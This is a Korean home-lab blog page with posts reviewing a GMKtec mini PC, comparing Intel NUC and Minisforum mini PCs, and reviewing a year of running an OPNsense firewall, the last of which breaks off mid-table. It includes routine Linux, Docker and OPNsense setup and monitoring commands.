    GMKtec은 요즘 가성비 좋은 미니PC 시장에서 두각을 나타내는 브랜드예요. 주로 인텔 N 시리즈 프로세서나 AMD 라이젠 저전력 모델을 탑재하고 나오죠. 이 작은 상자 하나가 데스크톱 PC의 기능을 거의 다 하면서도 전력 소모가 적고 공간도 적게 차지하니, 저 같은 인프라 엔지니어들에게는 홈랩 서버(Home Lab Server), 개발용 머신, 거실의 미디어 서버(HTPC)로도 정말 매력적인 선택지거든요.

    저는 이 GMKtec 미니PC를 다음과 같은 용도로 활용할 계획이었습니다:

    특히 GMKtec 미니PC 후기들을 찾아보니, 이 가격대에 이 정도 성능이면 ‘가성비 끝판왕’이라는 평이 많았어요. 기대감이 확 올라갔죠.

    실전 활용: GMKtec 미니PC에 Ubuntu Server와 Docker 올리기

    저는 GMKtec 미니PC를 홈랩의 핵심 서버 중 하나로 활용했습니다. 주로 Home Assistant를 돌리고, 그 외에 Docker 컨테이너들을 올려서 네트워크 서비스를 제공하는 용도였죠. 운영체제(OS)는 가벼우면서도 안정적인 Ubuntu Server (우분투 서버)를 선택했습니다. 처음엔 Proxmox VE (프록스목스)로 가상화 환경을 구성할까도 했는데, 미니PC는 자원이 한정적이라 최대한 오버헤드(Overhead)를 줄이는 게 낫겠더라고요.

    설치는 간단해요. USB에 우분투 서버 이미지를 구워서 부팅하고, 몇 가지 설정만 해주면 끝이죠. 저는 터미널(Terminal)에 익숙해서 CLI(Command Line Interface)로 빠르게 진행했습니다. Docker를 설치해서 컨테이너 기반으로 서비스를 올리는 게 요즘 대세잖아요? 저도 그렇게 구성했어요.

    # 시스템 업데이트 및 업그레이드
sudo apt update && sudo apt upgrade -y

# Docker 및 Docker Compose 설치
sudo apt install docker.io docker-compose -y

# 현재 사용자에게 docker 그룹 권한 추가 (재부팅 또는 재로그인 필요)
sudo usermod -aG docker $USER
newgrp docker # 현재 세션에 적용

    이렇게 설치하고 나면 docker run hello-world 같은 명령어로 잘 동작하는지 확인할 수 있어요. 간단하죠? ✅ 이제 원하는 서비스를 Docker 컨테이너로 올려서 사용하면 됩니다.

    GMKtec 미니PC에서 실행 중인 Docker 컨테이너와 서비스 대시보드

    GMKtec 미니PC에서 Docker 컨테이너로 Home Assistant와 Pi-hole이 잘 실행되고 있는 모습입니다.

    삽질 경험: 기대했던 GMKtec 성능과 현실 사이의 간극

    솔직히 GMKtec 미니PC를 처음 받았을 때는 ‘이 정도면 차고 넘치겠는데?’ 싶었어요. 근데 막상 이것저것 올리고 6개월 정도 굴려보니, 역시 기대와 현실 사이엔 간극이 있더라고요. 가장 크게 느낀 점은 지속적인 부하(Sustained Load)에서의 성능이었습니다.

    처음엔 Home Assistant나 Pi-hole 정도는 가볍게 돌렸어요. CPU 사용률도 낮고 전력 소모도 착했죠. 하지만 여기에 Grafana, Prometheus 같은 모니터링 툴까지 추가하고, 가끔 개발용으로 가상 머신(VM)을 몇 개 더 띄우거나 코드를 컴파일(Compile)하는 작업을 시키면 상황이 달라지더라고요. CPU 온도가 급격히 오르면서 스로틀링(Throttling)이 걸리는 경험을 했습니다. ‘아, 이건 정말 가볍게 쓰는 용도구나’ 싶었죠. 💡

    특히 팬 소음이 신경 쓸 정도더라고요. 평소에는 조용하지만, CPU 사용률이 50%를 넘어가면 ‘위이이잉’ 하는 팬 소리가 제법 들리거든요. 침실 옆에 두면 불편할 정도였습니다. 그리고 저장 공간(Storage) 확장성도 아쉬웠어요. 대부분 M.2 슬롯이 하나뿐이라, OS와 데이터를 같이 쓰다 보면 금방 꽉 차더라고요. 외장 USB SSD를 연결해서 쓰긴 했지만, 아무래도 내부 스토리지만큼 빠르지 않고 전원 문제도 신경 써야 했습니다.

    네트워크도 보통 1기가비트 이더넷(Gigabit Ethernet) 포트가 하나인데, 홈랩에서 여러 서비스를 돌리다 보면 2.5기가비트(2.5Gbps)나 그 이상이 필요할 때가 있거든요. GMKtec 미니PC의 성능을 제대로 활용하려면 이 부분이 아쉬웠죠. RAM도 보통 16GB나 32GB가 최대인데, 여러 Docker 컨테이너나 VM을 돌리기엔 살짝 부족하게 느껴질 때도 있었어요. 저도 그래서 램을 업그레이드할까 하다가, 그냥 다른 저전력 서버를 하나 더 들이는 방향으로 생각하게 되더라고요. 😅

    성능 모니터링과 문제 진단

    그래서 저는 미니PC의 상태를 실시간으로 모니터링하는 데 신경을 많이 썼습니다. 특히 CPU 사용률과 온도 같은 지표는 미니PC의 한계를 파악하는 데 아주 중요하거든요. 리눅스(Linux) 환경에서는 htop이나 lm-sensors 같은 툴을 사용하면 쉽게 확인할 수 있어요.

    # htop 및 lm-sensors 설치 (htop은 프로세스 모니터링, lm-sensors는 온도 센서 정보 제공)
sudo apt install htop lm-sensors -y

# htop으로 시스템 자원 사용량 확인
htop

# 센서 정보 확인 (CPU 온도 등)
sensors

    만약 sensors 명령어로 온도가 안 나온다면 sudo sensors-detect를 실행해서 센서를 잡아줘야 합니다. htop으로 CPU 사용률이 지속적으로 높거나, sensors로 온도가 80도 이상을 계속 찍는다면, ⚠️ 과부하(Overload) 상태예요. 그럼 서비스 수를 줄이거나 더 고사양의 장비를 고려해야 합니다. 미니PC의 GMKtec 성능 한계를 명확히 인지하고 활용하는 것이 정말 중요하죠.

    미니PC의 `htop` 시스템 자원 사용량과 `sensors` CPU 온도 모니터링 화면

    시스템 자원 사용량과 CPU 온도를 실시간으로 모니터링하여 과부하 여부를 판단하는 화면입니다.

    그래서, GMKtec 미니PC는 쓸만한가? 활용 목적별 정리

    그럼 6개월간의 삽질 끝에 내린 결론은 뭐냐고요? GMKtec 미니PC는 ‘어떤 용도로 쓰느냐’에 따라 충분히 쓸만하다는 겁니다. 만능은 아니지만, 특정 목적에는 가성비 최고의 선택지가 될 수 있어요.

    제가 경험한 바를 토대로 활용 목적에 따른 적합도를 표로 정리해 봤습니다.

    활용 목적 (Use Case) 적합도 (Suitability) 설명 (Description)
    홈 어시스턴트 (Home Assistant) ✅ 매우 적합 낮은 전력 소모로 24시간 안정적인 스마트 홈 허브 운영에 최적
    네트워크 서비스 (Pi-hole, Nginx Proxy Manager 등) ✅ 매우 적합 가볍고 리소스 소모가 적은 서비스 구동에 문제 없음
    미디어 서버 (Plex, Jellyfin) 💡 보통 가벼운 트랜스코딩(Transcoding)은 가능하나, 4K 고비트레이트 동시 스트리밍은 제한적
    개발용 머신 / 경량 VM ⚠️ 제한적 단일 개발 환경이나 아주 가벼운 VM 1~2개는 가능. 컴파일/빌드 작업은 느림
    데이터베이스 서버 (MySQL, PostgreSQL) ⚠️ 제한적 소규모 테스트용은 가능하나, 실제 서비스용 고성능 DB는 부적합 (I/O 한계)
    고사양 게임 서버 / 영상 편집 ❌ 부적합 그래픽 성능 및 CPU 파워 부족으로 거의 불가능

    보시다시피, 저전력으로 24시간 켜둬야 하는 서비스나 가벼운 작업용으로는 정말 훌륭해요. 하지만 무거운 작업을 기대하면 실망할 수 있습니다. 딱 그 가격대의 퍼포먼스를 보여주는 제품이라고 생각하시면 됩니다.

    GMKtec 미니PC 장단점 요약 비교 인포그래픽

    GMKtec 미니PC의 주요 장점과 단점을 한눈에 파악할 수 있는 요약입니다.

    마무리: 현명한 미니PC 선택을 위한 조언

    결론적으로, GMKtec 미니PC는 ‘가성비’라는 키워드에 충실한 제품이에요. 하지만 무조건 좋다고는 말할 수 없습니다. 여러분이 어떤 용도로 미니PC를 활용할지 명확하게 정의하는 것이 가장 중요해요.

    만약 저처럼 가벼운 홈랩 서비스나 24시간 저전력으로 돌아가는 시스템을 원하신다면, GMKtec 미니PC는 충분히 매력적인 선택지가 될 겁니다. 특히 미니PC 사용기를 찾아보며 저전력 구동에 초점을 맞추고 계신다면 좋은 대안이죠. 하지만 여러 개의 가상 머신을 돌리거나, 복잡한 개발 환경, 고성능 데이터베이스 등을 생각하신다면 조금 더 투자해서 중고 엔터프라이즈 서버(Enterprise Server)나 직접 조립하는 NUC(Next Unit of Computing) 계열의 고사양 미니PC를 고려해 보시는 게 좋겠습니다.

    저의 6개월 GMKtec 미니PC 사용기가 여러분의 현명한 선택에 도움이 되었으면 좋겠습니다. 다음번엔 제가 또 어떤 장비로 삽질했는지 들고 오겠습니다! 궁금한 점이 있다면 댓글로 남겨주세요! 🎉

  • [HomeLabs] 미니PC 완벽 비교: Intel NUC vs Minisforum 성능·가성비·확장성 분석

    [HomeLabs] 미니PC 완벽 비교: Intel NUC vs Minisforum 성능·가성비·확장성 분석

    목차

    홈랩, 미니PC, 그리고 저의 삽질 이야기

    안녕하세요, 13년차 서버실 지킴이, ’13년차의 서버실’ 블로그 주인장입니다. 오늘은 제가 홈랩(Home Lab)을 운영하면서 정말 많이 고민하고, 직접 써보면서 삽질 끝에 얻은 지식들을 공유해볼까 해요. 요즘 미니PC(Mini PC)가 홈랩용으로 정말 인기가 많잖아요? 작은 고추가 맵다고, 이 작은 녀석들이 생각보다 강력한 성능을 내주거든요. 저도 처음엔 ‘이 조그만 게 뭘 할 수 있겠어?’ 싶었는데, 막상 써보니 그 매력에 푹 빠져버렸지 뭐예요. 특히 서버랙에 서버를 더 이상 채워 넣을 공간이 없거나, 전기세 걱정이 많을 때 미니PC는 정말 최고의 대안이 됩니다.

    그중에서도 인텔 NUC(Intel NUC)와 미니즈포럼(Minisforum)은 항상 비교 대상에 오르는 대표 주자들입니다. 저도 어떤 녀석을 골라야 할지 고민이 많았어요. 각각 장단점이 너무나 명확했거든요. 그래서 오늘은 이 두 미니PC를 제가 직접 경험해본 것을 바탕으로 성능과 확장성을 깊이 있게 비교 분석해보려 합니다. 여러분의 홈랩 구축에 실질적인 도움이 되기를 바라면서 말이죠!

    미니PC를 활용한 홈랩 구성 다이어그램

    미니PC를 활용한 홈랩 구성의 전체적인 모습입니다. 이 작은 친구들이 얼마나 강력한지 보이시죠?

    Intel NUC와 Minisforum, 대체 뭐가 다른가요?

    먼저, 두 브랜드의 큰 그림부터 좀 짚고 넘어가 볼까요?

    Intel NUC (Next Unit of Computing)

    인텔 NUC는 말 그대로 인텔이 직접 만드는 소형 폼팩터 PC 라인업입니다. 제가 처음 NUC를 접했을 때 가장 인상 깊었던 건 ‘만듦새’였어요. 마감도 깔끔하고, 드라이버 호환성도 좋고, 뭔가 잘 만들어진 제품이라는 느낌이 강했죠. 주로 인텔의 CPU를 사용하고, 대체로 안정적이며 저전력이라는 장점이 있습니다. 비즈니스 환경이나 특정 솔루션에 임베디드(Embedded)되는 용도로도 많이 쓰이고요. 가격대는 동급 사양의 다른 미니PC에 비해 조금 높은 편이지만, 그만큼의 ‘안정성’과 ‘신뢰성’이 정말 좋거든요. 특히 Thunderbolt(썬더볼트) 포트를 통한 확장성은 NUC의 큰 강점 중 하나죠.

    Minisforum

    미니즈포럼은 중국의 미니PC 제조사로, 최근 몇 년 사이에 무섭게 치고 올라온 브랜드입니다. 특히 AMD의 라이젠(Ryzen) 프로세서를 적극적으로 채용하면서 가성비 끝판왕이라는 별명을 얻었죠. ‘어떻게 저 가격에 이 성능?’ 싶을 정도로 공격적인 스펙을 자랑합니다. NUC와 비교했을 때, 대체로 더 많은 코어 수와 강력한 내장 그래픽(iGPU) 성능을 제공하는 경우가 많아요. 포트 구성도 NUC보다 더 다양하거나 개수가 많은 모델들도 심심찮게 보입니다. 다만, 드라이버 호환성이나 펌웨어(Firmware) 업데이트 같은 부분에서 간혹 삽질을 할 때가 있긴 합니다. 제가 실제로 Minisforum 미니PC에 특정 리눅스 배포판을 설치했다가 NIC(Network Interface Card, 네트워크 인터페이스 카드) 드라이버를 잡느라 밤을 샌 적도 있거든요. 그래도 가격 대비 성능을 중요하게 생각한다면 Minisforum은 정말 매력적인 선택지예요.

    홈랩 구축 실전: 미니PC 선택의 첫걸음

    어떤 미니PC를 선택하든, 홈랩을 구축하는 과정은 대동소이합니다. 저는 주로 Proxmox VE나 Ubuntu Server 같은 리눅스 기반 OS를 설치해서 사용하고 있어요. 기본적인 시스템 모니터링과 컨테이너(Container) 환경 구축은 필수적이죠.

    기본 시스템 모니터링

    새로 설치한 미니PC의 자원 사용량을 확인하는 건 가장 기본적인 단계입니다. htop은 리눅스에서 프로세스와 자원 사용량을 실시간으로 보여주는 유용한 도구예요. 마치 윈도우의 작업 관리자(Task Manager) 같다고 보시면 됩니다. 설치는 간단해요.

    
sudo apt update
sudo apt install htop
htop

    htop을 실행하면 CPU 코어별 사용률, 메모리(RAM) 사용량, 스왑(Swap) 공간 사용량 등을 한눈에 볼 수 있습니다. 만약 CPU 사용률이 지속적으로 높거나, RAM 사용량이 예상보다 빠르게 증가한다면 어떤 서비스가 자원을 많이 잡아먹는지 바로 파악할 수 있죠. 저도 처음엔 이 화면만 보고도 ‘아, 이 미니PC는 이 정도까지는 버텨주는구나’ 하고 감을 잡았어요.

    Docker 설치 및 간단한 컨테이너 실행

    홈랩의 꽃은 바로 컨테이너 아니겠어요? Docker(도커)를 설치해서 다양한 서비스를 가볍게 띄워볼 수 있습니다. 예를 들어, 간단한 Nginx 웹 서버를 컨테이너로 띄워보는 거죠.

    
# Docker 설치 스크립트 실행 (Ubuntu 기준)
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh

# 사용자 계정을 docker 그룹에 추가 (재로그인 필요)
sudo usermod -aG docker $USER

# Nginx 컨테이너 실행
docker run -d -p 80:80 --name my-nginx nginx:latest

    이렇게 Nginx 컨테이너를 띄우고 웹 브라우저에서 미니PC의 IP 주소로 접속했을 때 ‘Welcome to Nginx!’ 페이지가 보인다면 성공입니다. 이처럼 작은 미니PC 하나로도 여러 서비스를 동시에 운영할 수 있다는 걸 직접 경험해보는 거죠. 물론, 너무 많은 서비스를 띄우면 자원 부족으로 고생할 수 있으니 htop으로 항상 모니터링하는 습관을 들이는 게 중요합니다.

    ⚠️ 삽질 경험: 미니PC에서 발생할 수 있는 문제들

    13년차 엔지니어도 삽질은 피할 수 없죠. 미니PC를 쓰면서 제가 겪었던 몇 가지 대표적인 문제점과 해결 팁을 공유해볼게요.

    발열 관리, 작은 고추의 아픔

    작은 폼팩터에 고성능 부품을 때려 넣으니, 필연적으로 발열 문제가 생길 수밖에 없습니다. 특히 여름철에는 미니PC가 뜨끈뜨끈해지는 걸 자주 경험했어요. CPU 스로틀링(CPU Throttling)이 걸려 성능이 저하되는 경우도 있었죠. 해결책으로는 다음과 같은 것들을 시도해볼 수 있습니다.

    • 통풍 개선: 미니PC 주변 공간을 확보하고, 필요하다면 USB 팬 등을 이용해 강제로 공기 흐름을 만들어줍니다.
    • 전력 관리 설정: BIOS/UEFI 설정에서 CPU의 최대 전력 제한(PL1/PL2)을 조절하거나, OS 수준에서 CPU 거버너(Governor) 설정을 powersave나 ondemand로 변경하여 부하를 줄일 수 있습니다.
    • 서멀 구리스 재도포: 정말 심각하다면, 직접 미니PC를 분해해서 CPU 서멀 구리스(Thermal Grease)를 고성능 제품으로 재도포하는 것도 방법입니다. (단, 워런티 문제 발생 가능성이 있으니 주의!)

    네트워크 인터페이스(NIC) 호환성 문제

    이건 주로 Minisforum 같은 서드파티 미니PC에서 발생했던 문제인데요. 특정 리눅스 커널(Kernel) 버전에서 내장된 Realtek이나 Intel NIC 드라이버가 제대로 잡히지 않는 경우가 있습니다. 덕분에 설치 후 네트워크 연결이 안 돼서 이거 망했나? 싶었던 적이 한두 번이 아니었죠. 해결법은 주로 다음과 같아요.

    • 최신 커널 업데이트: OS 설치 후 apt upgrade 등으로 최신 커널로 업데이트하면 해결돼요. 의외로 이것만으로 해결되는 경우가 많습니다.
    • 별도 드라이버 설치: 제조사 홈페이지나 GitHub 등에서 해당 NIC의 리눅스 드라이버를 직접 다운로드하여 컴파일(Compile) 후 설치해야 할 수도 있습니다. (이게 진짜 삽질의 끝판왕입니다 ㅠㅠ)
    • USB to LAN 어댑터 활용: 임시방편으로 USB 랜카드를 사용해서 네트워크를 연결한 뒤, 필요한 드라이버를 다운로드하는 방법도 있어요.

    성능 및 확장성 비교 분석

    이제 본격적으로 Intel NUC와 Minisforum의 주요 특징들을 비교해볼 시간입니다. 제가 직접 써보고 느낀 점들을 바탕으로 정리해봤어요.

    인텔 NUC와 미니즈포럼 미니PC의 포트 및 확장성 비교

    미니PC의 다양한 포트 구성과 확장성을 시각적으로 비교한 이미지입니다. 어떤 포트가 필요한지 미리 확인해보세요.

    미니PC 비교: Intel NUC vs Minisforum

    항목 Intel NUC (일반적인 특징) Minisforum (일반적인 특징)
    프로세서 Intel Core i3/i5/i7/i9, Intel Atom/Pentium (저전력 모델) AMD Ryzen (Ryzen 5/7/9), Intel Core (일부 모델)
    내장 그래픽 Intel Iris Xe Graphics, Intel UHD Graphics (모델별 상이) AMD Radeon Graphics (상대적으로 고성능, 트랜스코딩 우수)
    메모리 확장성 2 x SODIMM (최대 64GB, 모델별 상이) 2 x SODIMM (최대 64GB/96GB, 모델별 상이)
    스토리지 확장성 1~2 x M.2 NVMe 슬롯 (일부 2.5인치 SATA 지원) 1~2 x M.2 NVMe 슬롯 + 1~2 x 2.5인치 SATA 베이 (모델별 상이, 확장성 우수)
    네트워크 Intel Gigabit Ethernet, Wi-Fi 6/6E Realtek/Intel Gigabit/2.5G Ethernet, Wi-Fi 6/6E (듀얼 LAN 모델 많음)
    포트 구성 Thunderbolt, USB-A, HDMI, DP 등 (깔끔하고 정돈된 구성) USB-A (다수), USB-C, HDMI, DP (다양하고 풍부한 구성)
    가격대 상대적으로 고가 상대적으로 저렴 (가성비 우수)
    주요 사용처 사무용, HTPC, 경량 서버, 안정성 중시 홈랩 고성능 홈랩, 게임 스트리밍, 미디어 서버, 가성비 중시

    홈랩 워크로드별 추천

    그럼 이제 여러분의 홈랩 운영 목적에 맞춰 어떤 미니PC를 선택해야 할지 구체적으로 이야기해볼게요.

    • VM(Virtual Machine) / 컨테이너(Container) 호스팅 (다수의 서비스)
      다수의 가상 머신이나 컨테이너를 운영할 계획이라면, Minisforum의 고성능 AMD Ryzen 프로세서 기반 모델이 유리해요. 더 많은 코어(Core) 수와 스레드(Thread)를 제공하여 병렬 처리 능력에서 강점을 보이죠. 특히 Minisforum UM 시리즈나 NAB 시리즈 중 고사양 모델은 최대 64GB, 심지어 96GB RAM까지 지원하는 경우가 있어 확장성 면에서도 훌륭합니다. 앞서 htop으로 CPU 사용률을 모니터링했을 때, 80% 이상으로 지속되면 VM이나 컨테이너 수를 조절하거나, 더 강력한 미니PC로 업그레이드를 고려해야 합니다.

    • 미디어 서버 (Plex/Jellyfin 등)
      Plex나 Jellyfin 같은 미디어 서버를 운영하면서 실시간 트랜스코딩(Transcoding)이 중요하다면, Minisforum의 AMD Radeon 내장 그래픽이 정말 매력적이에요. AMD GPU의 하드웨어 가속 성능은 인텔 Iris Xe Graphics와 비교했을 때 특정 코덱에서 더 나은 성능을 보여주기도 합니다. 물론 NUC의 인텔 퀵싱크 비디오(Quick Sync Video)도 훌륭하지만, 가성비 측면에서는 Minisforum이 더 유리할 수 있어요. 4K 스트리밍 시 CPU와 GPU 사용률을 잘 확인하는 게 중요합니다. GPU 사용률이 90%를 넘어가면 화질 저하나 버퍼링이 발생할 수 있거든요.

    • 네트워크 장비 (Router/Firewall)
      OpenWRT, pfSense, OPNsense 같은 라우터/방화벽 용도로 미니PC를 활용하고 싶다면, 듀얼 LAN(Dual LAN) 포트를 가진 모델이 필수예요. Minisforum의 일부 모델들은 2.5G 이더넷 포트를 두 개 이상 제공하는 경우가 많아 이 용도로 정말 적합합니다. NUC 중에서도 듀얼 LAN을 지원하는 모델이 있지만, 선택의 폭은 Minisforum이 더 넓다고 볼 수 있죠. 네트워크 스루풋(Throughput) 테스트를 통해 병목 현상이 없는지 확인하는 게 중요합니다.

    홈랩 미니PC 자원 모니터링 대시보드

    홈랩에서 운영 중인 미니PC의 CPU, RAM, 네트워크 사용량을 보여주는 대시보드 예시입니다. 자원 모니터링은 필수죠!

    그래서, 어떤 미니PC를 골라야 할까요?

    길고 긴 비교 분석이었네요. 제 경험을 바탕으로 명확한 결론을 내려드리자면 이렇습니다.

    • 안정성과 작은 크기, 그리고 인텔 생태계의 편의성을 중시한다면: Intel NUC

      NUC는 특히 Pro 시리즈나 Enthusiast 시리즈 같은 모델들이 보여주는 뛰어난 만듦새와 안정적인 드라이버 지원이 정말 강점입니다. 저는 예전에 NUC를 가지고 홈 어시스턴트(Home Assistant) 서버를 구축했었는데, 정말 한 번도 말썽 없이 잘 돌아가더라고요. 저전력으로 24시간 켜두는 용도나, 특정 인텔 기술(예: Quick Sync Video)을 활용해야 하는 경우에 NUC는 탁월한 선택입니다. 돈을 조금 더 주더라도 ‘걱정 없이 쓰고 싶다’면 NUC가 정답이에요.

    • 압도적인 가성비와 고성능, 그리고 뛰어난 확장성을 원한다면: Minisforum

      Minisforum은 저렴한 가격에 더 많은 코어 수, 더 강력한 내장 그래픽, 그리고 더 많은 스토리지 베이 등 ‘스펙’적인 측면에서 NUC를 압도하는 모습을 자주 볼 수 있어요. 특히 AMD Ryzen 프로세서가 탑재된 모델들은 CPU와 GPU 성능 모두에서 뛰어난 가성비를 자랑합니다. 저처럼 다양한 VM이나 컨테이너를 돌리면서 ‘이 가격에 이 정도 성능이면 충분해!’라고 생각하는 분들께는 Minisforum이 최고의 선택지가 될 겁니다. 다만, 드라이버나 펌웨어 관련해서 약간의 삽질은 각오해야 할 수도 있어요. 하지만 그 정도의 수고는 충분히 감수할 만한 가치가 있다고 생각합니다.

    Intel NUC와 Minisforum 핵심 특징 요약 인포그래픽

    Intel NUC와 Minisforum의 핵심 특징을 한눈에 비교할 수 있는 요약 인포그래픽입니다. 여러분의 선택에 도움이 되길 바랍니다.

    마무리: 나만의 홈랩, 즐거운 삽질의 시작

    결국, 어떤 미니PC를 선택하든 ‘정답’은 없습니다. 중요한 건 여러분의 사용 목적과 예산, 그리고 어떤 가치를 더 중요하게 생각하느냐에 달려있죠. 제가 오늘 공유해드린 경험과 정보들이 여러분의 현명한 선택에 작은 길라잡이가 되었으면 좋겠습니다. 저도 여전히 새로운 미니PC들을 보면서 ‘이번엔 뭘로 삽질해볼까?’ 하는 즐거운 고민을 하고 있답니다. 홈랩은 완성되는 것이 아니라, 끊임없이 진화하는 과정이니까요. 다음번에는 미니PC에 Proxmox VE를 설치하고 NAS를 구축하는 방법에 대해 더 자세히 다뤄볼까 합니다. 기대해주세요! 그럼 다음 글에서 만나요!

  • [HomeLabs] OPNsense 방화벽 1년 사용 후기: 장점, 단점, 마이그레이션 가이드

    [HomeLabs] OPNsense 방화벽 1년 사용 후기: 장점, 단점, 마이그레이션 가이드

    목차

    [네트워크 보안] OPNsense 방화벽 1년 사용 후기: 장점, 단점, 마이그레이션 고민

    안녕하세요, 13년차 서버실을 지키고 있는 인프라 엔지니어입니다. 홈랩을 운영하면서 가장 중요하게 생각하는 부분 중 하나가 바로 네트워크 보안인데요. 오늘은 제가 지난 1년간 홈랩의 최전방에서 수많은 패킷들을 검사하고 필터링해 준 OPNsense(오피엔센스) 방화벽 사용 후기를 솔직하게 풀어보려고 합니다. 처음엔 이게 뭔가 싶었는데, 막상 써보니까 정말 매력적인 친구더라고요. 물론 삽질도 좀 했습니다만, 그 경험들이 여러분께 작은 팁이라도 되기를 바랍니다. 💡

    홈랩 네트워크 중앙에서 OPNsense 방화벽이 인터넷과 내부 네트워크를 보호하는 아키텍처 다이어그램

    OPNsense가 홈랩 네트워크의 중앙에서 인터넷과 내부 네트워크를 연결하고 보호하는 모습을 보여주는 다이어그램입니다.

    OPNsense, 정확히 뭘까요?

    혹시 pfSense(피에프센스)라고 들어보셨나요? OPNsense는 바로 이 pfSense에서 포크(fork)된 오픈소스 방화벽 프로젝트입니다. FreeBSD 운영체제를 기반으로 하고 있어서 안정성과 성능이 뛰어나죠. 쉽게 말해, 여러분의 오래된 PC나 저전력 미니 PC에 설치해서 강력한 네트워크 방화벽, 라우터, VPN 서버 등으로 활용할 수 있는 솔루션이거든요.

    주요 기능들을 살펴보면:

    • Stateful Firewall (스테이트풀 방화벽): 연결 상태를 기억하여 더 정교한 트래픽 제어
    • VPN (Virtual Private Network): OpenVPN, WireGuard 등 다양한 VPN 프로토콜 지원으로 안전한 원격 접속
    • IDS/IPS (Intrusion Detection System / Intrusion Prevention System): Suricata(슈리카타) 등을 활용하여 실시간으로 악성 트래픽을 탐지하고 차단
    • Proxy (프록시): 웹 캐싱, 콘텐츠 필터링 등 다양한 프록시 기능
    • Captive Portal (캡티브 포털): 공용 와이파이처럼 인증 후 인터넷 사용을 허용하는 기능

    이런 기능들을 웹 기반의 직관적인 GUI(Graphical User Interface, 그래픽 사용자 인터페이스)로 쉽게 설정할 수 있어서 정말 편하더라고요.

    1년 사용, 이래서 좋았습니다 (장점) 🎉

    제가 OPNsense를 1년 동안 사용하면서 가장 만족했던 부분들을 이야기해볼게요.

    1. 강력한 기능과 확장성

    오픈소스라고 해서 기능이 부족할 거라는 편견은 넣어두세요. Suricata 같은 강력한 IDS/IPS 엔진을 내장하고 있어서, 제 홈랩으로 들어오고 나가는 모든 트래픽을 실시간으로 감시하고 의심스러운 활동을 차단해 줍니다. 실제로 몇 번의 웹 공격 시도를 미리 막아내는 걸 보고는 ‘이거 진짜 물건이네!’ 싶었어요. OpenVPN과 WireGuard 지원 덕분에 외부에서도 안전하게 홈랩 네트워크에 접속할 수 있었고, 다양한 플러그인(Plugins)을 통해 기능을 확장할 수 있는 점도 매력적이었습니다.

    2. 직관적인 웹 GUI

    사실 저는 CLI(Command Line Interface, 명령줄 인터페이스)에 익숙한 엔지니어지만, OPNsense의 웹 GUI는 정말 편하더라고요. 복잡한 방화벽 룰(Rule) 설정부터 VPN 터널 관리, 시스템 모니터링까지 모든 걸 웹 브라우저에서 몇 번의 클릭만으로 할 수 있어요. 덕분에 설정에 할애하는 시간을 줄이고, 다른 실험에 더 집중할 수 있었죠. 😉

    OPNsense 방화벽의 웹 기반 GUI 대시보드 화면

    OPNsense의 웹 GUI 대시보드 화면입니다. 시스템 상태와 트래픽 현황을 한눈에 파악할 수 있죠.

    3. 활발한 커뮤니티와 문서화

    오픈소스 프로젝트는 커뮤니티가 생명이라고 생각합니다. OPNsense는 포럼도 활발하고, 공식 문서도 잘 정리되어 있어서 문제가 생겼을 때 정보를 찾기 수월했어요. 물론 모든 케이스에 대한 명확한 답변이 있진 않지만, 대부분의 일반적인 문제는 커뮤니티의 도움으로 쉽게 해결할 수 있었습니다.

    솔직히 아쉬웠던 점들 (단점 및 삽질 경험) ⚠️

    모든 것이 완벽할 수는 없죠. 1년 동안 OPNsense를 사용하면서 아쉬웠던 점들과 제가 직접 겪었던 삽질 경험들을 공유합니다.

    1. 하드웨어 요구사항, 생각보다 높은 편

    IDS/IPS나 VPN처럼 CPU 자원을 많이 사용하는 기능을 활성화하면, 저사양 하드웨어에서는 성능 병목(Bottleneck) 현상이 쉽게 발생합니다. 저도 처음엔 펜티엄 J 시리즈 같은 저전력 시스템에 OPNsense를 설치했다가 Suricata 룰셋 몇 개만 켜도 CPU 사용률이 90%를 넘나들어서 당황했던 기억이 있네요. 🚨 특히 패킷 검사가 많은 환경에서는 더합니다. 넉넉한 CPU와 RAM(메모리)을 가진 시스템에 설치하는 것이 정신 건강에 이롭습니다. 개인적인 경험으로는 최소 Intel Core i3급 이상, 4GB 이상의 RAM을 권장드립니다.

    2. 업데이트 후 예기치 않은 문제 발생

    오픈소스 소프트웨어의 업데이트는 새로운 기능과 보안 패치를 가져다주지만, 가끔은 예기치 않은 문제를 발생시키기도 합니다. 한번은 마이너 업데이트 후에 특정 VPN 터널이 제대로 연결되지 않아서 밤새 로그를 뒤졌던 적도 있어요. 결국 롤백(Rollback)하고 다음 업데이트를 기다렸죠. 😭

    이럴 때 유용한 CLI(Command Line Interface) 명령어가 있습니다. OPNsense 셸에서 다음 명령어를 사용해 특정 버전으로 롤백하거나, 업데이트 상태를 확인할 수 있어요.

    # 현재 OPNsense 버전 확인
opnsense-update -v

# 업데이트 가능한 패키지 미리 확인 (실제 업데이트는 하지 않음)
pkg update
pkg upgrade -n

# 전체 시스템 업데이트 실행
opnsense-update

# 특정 버전으로 롤백 (예: 23.7.10 버전으로 롤백)
# 롤백 전에 반드시 백업을 해두는 것이 좋습니다.
opnsense-update -r 23.7.10

    업데이트 후 문제가 발생하면 /var/log/system.log 파일을 확인하거나, top -aSH 명령으로 CPU 사용률이 비정상적으로 높은 프로세스가 있는지 확인하는 것이 좋습니다.

    OPNsense Suricata IDS/IPS 위협 탐지 및 차단 로그 화면

    OPNsense의 Suricata IDS/IPS가 잠재적 위협을 탐지하고 차단하는 로그 화면 예시입니다.

    OPNsense 마이그레이션, 해야 할까요? (결론/추천)

    1년 동안 OPNsense와 함께 울고 웃었던 시간들이었습니다. 강력한 기능과 유연성 덕분에 홈랩 네트워크를 원하는 대로 구성할 수 있었죠. 하지만 최근에는 ‘좀 더 안정적이거나, 상용 솔루션처럼 간편한 건 없을까?’ 하는 생각과 함께 마이그레이션(Migration)을 진지하게 고민하고 있습니다. 더 강력한 하드웨어로 교체하는 것뿐만 아니라, Sophos Home(소포스 홈), Fortigate VM(포티게이트 VM) 같은 다른 솔루션으로의 전환도 염두에 두고 있어요.

    그렇다면 언제 OPNsense를 유지하고, 언제 마이그레이션을 고려해야 할까요? 제가 경험한 바를 바탕으로 간단한 비교표를 만들어봤습니다.

    기준 OPNsense 유지 추천 마이그레이션 고려 추천
    비용 (Cost) 저렴한 하드웨어 재활용 또는 소액 투자로 강력한 기능 필요 시 상용 솔루션의 라이선스 비용을 감당할 수 있을 때
    기능 (Features) 오픈소스의 유연한 기능 확장 및 커스터마이징이 중요할 때 특정 벤더의 독점 기능이나 통합 솔루션이 필요할 때
